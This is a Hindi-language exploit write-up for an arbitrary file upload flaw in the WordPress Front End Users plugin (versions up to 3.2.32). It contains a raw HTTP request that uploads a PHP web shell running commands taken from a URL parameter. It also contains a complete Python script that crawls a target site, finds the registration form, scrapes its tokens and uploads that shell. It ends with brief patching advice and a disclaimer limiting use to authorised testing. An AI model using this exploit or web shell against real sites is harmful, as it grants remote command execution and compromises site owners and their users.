
WordPress Front End Users Plugin <= 3.2.32 मनमानी फ़ाइल अपलोड के प्रति संवेदनशील है
वर्डप्रेस फ्रंट एंड यूज़र्स प्लगइन <= 3.2.32 मनमाना फ़ाइल अपलोड भेद्यता के लिए असुरक्षित है
भेद्यता फ्रंट-एंड यूज़र्स प्लगइन द्वारा पंजीकरण फ़ॉर्म के माध्यम से फ़ाइल अपलोड को संभालने के तरीके में मौजूद है। फ़ाइल एक्सटेंशन सत्यापन, प्रमाणीकरण जांच या फ़ाइल प्रकार स्वच्छता उचित नहीं है। एक हमलावर प्लगइन द्वारा प्रस्तुत किसी भी पंजीकरण फ़ॉर्म पर multipart/form-data POST अनुरोध भेज सकता है और कस्टम फ़ील्ड (जैसे Nxploit) के तहत एक दुर्भावनापूर्ण PHP फ़ाइल शामिल कर सकता है।
हालांकि प्लगइन अपलोड की गई फ़ाइलों को wp-content/uploads/ewd_feup_uploads/ निर्देशिका में संग्रहीत करता है, फिर भी अपलोड की गई फ़ाइल को एक यादृच्छिक हैश के साथ नाम बदल दिया जाता है। हालांकि, यदि अपलोड निर्देशिका में PHP निष्पादन की अनुमति है तो फ़ाइल निष्पादन योग्य बनी रहती है।
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-action"
register
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-post-id"
573
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-omit-level"
No
------WebKitFormBoundary
Content-Disposition: form-data; name="Username"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="User_Password"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="Confirm_User_Password"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="First Name"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="Last Name"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="Nxploit"; filename="shell.php"
Content-Type: application/x-php
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
------WebKitFormBoundary
Content-Disposition: form-data; name="Register_Submit"
Register
------WebKitFormBoundary--
अनुरोध के बाद, फ़ाइल निम्नलिखित स्थान पर सहेजी जाएगी:
/wp-content/uploads/ewd_feup_uploads/[RANDOMIZED_FILENAME].php
फ़ाइलनाम अपलोड किए गए नाम (जैसे shell.php) से मेल नहीं खाएगा, लेकिन इसे मैन्युअल रूप से खोजा जा सकता है या स्कैनर से अनुमान लगाया जा सकता है।
import requests
from bs4 import BeautifulSoup
import tempfile
import argparse
from urllib.parse import urljoin
requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False
parser = argparse.ArgumentParser(description="Upload shell to vulnerable WordPress Front-End Users Plugin By: Nxploited | Khaled Alenzi")
parser.add_argument("--url", "-u", required=True, help="Base URL of the target site (e.g. http://site.com/)")
parser.add_argument("--newuser", "-nu", required=True, help="Username to register")
parser.add_argument("--newpassword", "-np", required=True, help="Password for the new user")
args = parser.parse_args()
base_url = args.url.rstrip("/")
username = args.newuser
password = args.newpassword
print("[*] Starting scan on:", base_url)
try:
response = session.get(base_url, timeout=10)
soup = BeautifulSoup(response.text, 'html.parser')
except Exception as e:
print("[-] Failed to fetch base URL.")
print("Error:", str(e))
exit()
page_links = set()
for a in soup.find_all("a", href=True):
href = a["href"]
if href.startswith("/") or base_url in href:
full_url = urljoin(base_url, href)
page_links.add(full_url)
print(f"[*] Found {len(page_links)} internal pages to scan...")
registration_url = None
for link in page_links:
try:
page = session.get(link, timeout=10)
if "ewd-feup-register-form" in page.text and "ewd-feup-check" in page.text:
registration_url = link
print(f"[+] Found FEUP registration form at: {registration_url}")
break
except:
continue
if not registration_url:
print("[-] Could not automatically locate the FEUP registration form.")
print("[!] Please provide the correct path manually using --url.")
exit()
page = session.get(registration_url)
soup = BeautifulSoup(page.text, 'html.parser')
def get_input_value(name):
field = soup.find('input', {'name': name})
return field['value'] if field else ''
check_value = get_input_value('ewd-feup-check')
time_value = get_input_value('ewd-feup-time')
post_id = get_input_value('ewd-feup-post-id')
file_input = soup.find('input', {'type': 'file'})
file_field_name = file_input['name'] if file_input and 'name' in file_input.attrs else ''
print(f"[+] ewd-feup-check: {check_value}")
print(f"[+] ewd-feup-time: {time_value}")
print(f"[+] ewd-feup-post-id: {post_id}")
print(f"[+] Upload field name: {file_field_name if file_field_name else 'Not found'}")
shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"
temp_shell = tempfile.NamedTemporaryFile(delete=False, suffix=".php", mode='w+b')
temp_shell.write(shell_content.encode())
temp_shell.seek(0)
data = {
'ewd-feup-check': check_value,
'ewd-feup-time': time_value,
'ewd-feup-action': 'register',
'ewd-feup-post-id': post_id,
'ewd-feup-omit-level': 'No',
'Username': username,
'User_Password': password,
'Confirm_User_Password': password,
'First Name': 'admin',
'Last Name': 'admin',
'Register_Submit': 'Register'
}
files = {file_field_name: ('shell.php', temp_shell, 'application/x-php')} if file_field_name else {}
print("[*] Uploading shell to:", registration_url)
upload_response = session.post(registration_url, data=data, files=files)
print(f"[*] HTTP Status Code: {upload_response.status_code}")
if upload_response.status_code == 200:
print("[+] Upload request completed.")
else:
print("[-] Upload may have failed.")
temp_shell.close()
Front-End Users प्लगइन को नवीनतम सुरक्षित संस्करण (यदि उपलब्ध हो) में अपडेट करें, या यदि कोई पैच मौजूद नहीं है तो इसे अस्थायी रूप से अक्षम करें। इसके अतिरिक्त:
यह PoC केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। इसका जिम्मेदारी से उपयोग करें और केवल उन लक्ष्यों के विरुद्ध करें जिनके परीक्षण करने की आपके पास स्पष्ट अनुमति है।
द्वारा Nxploit.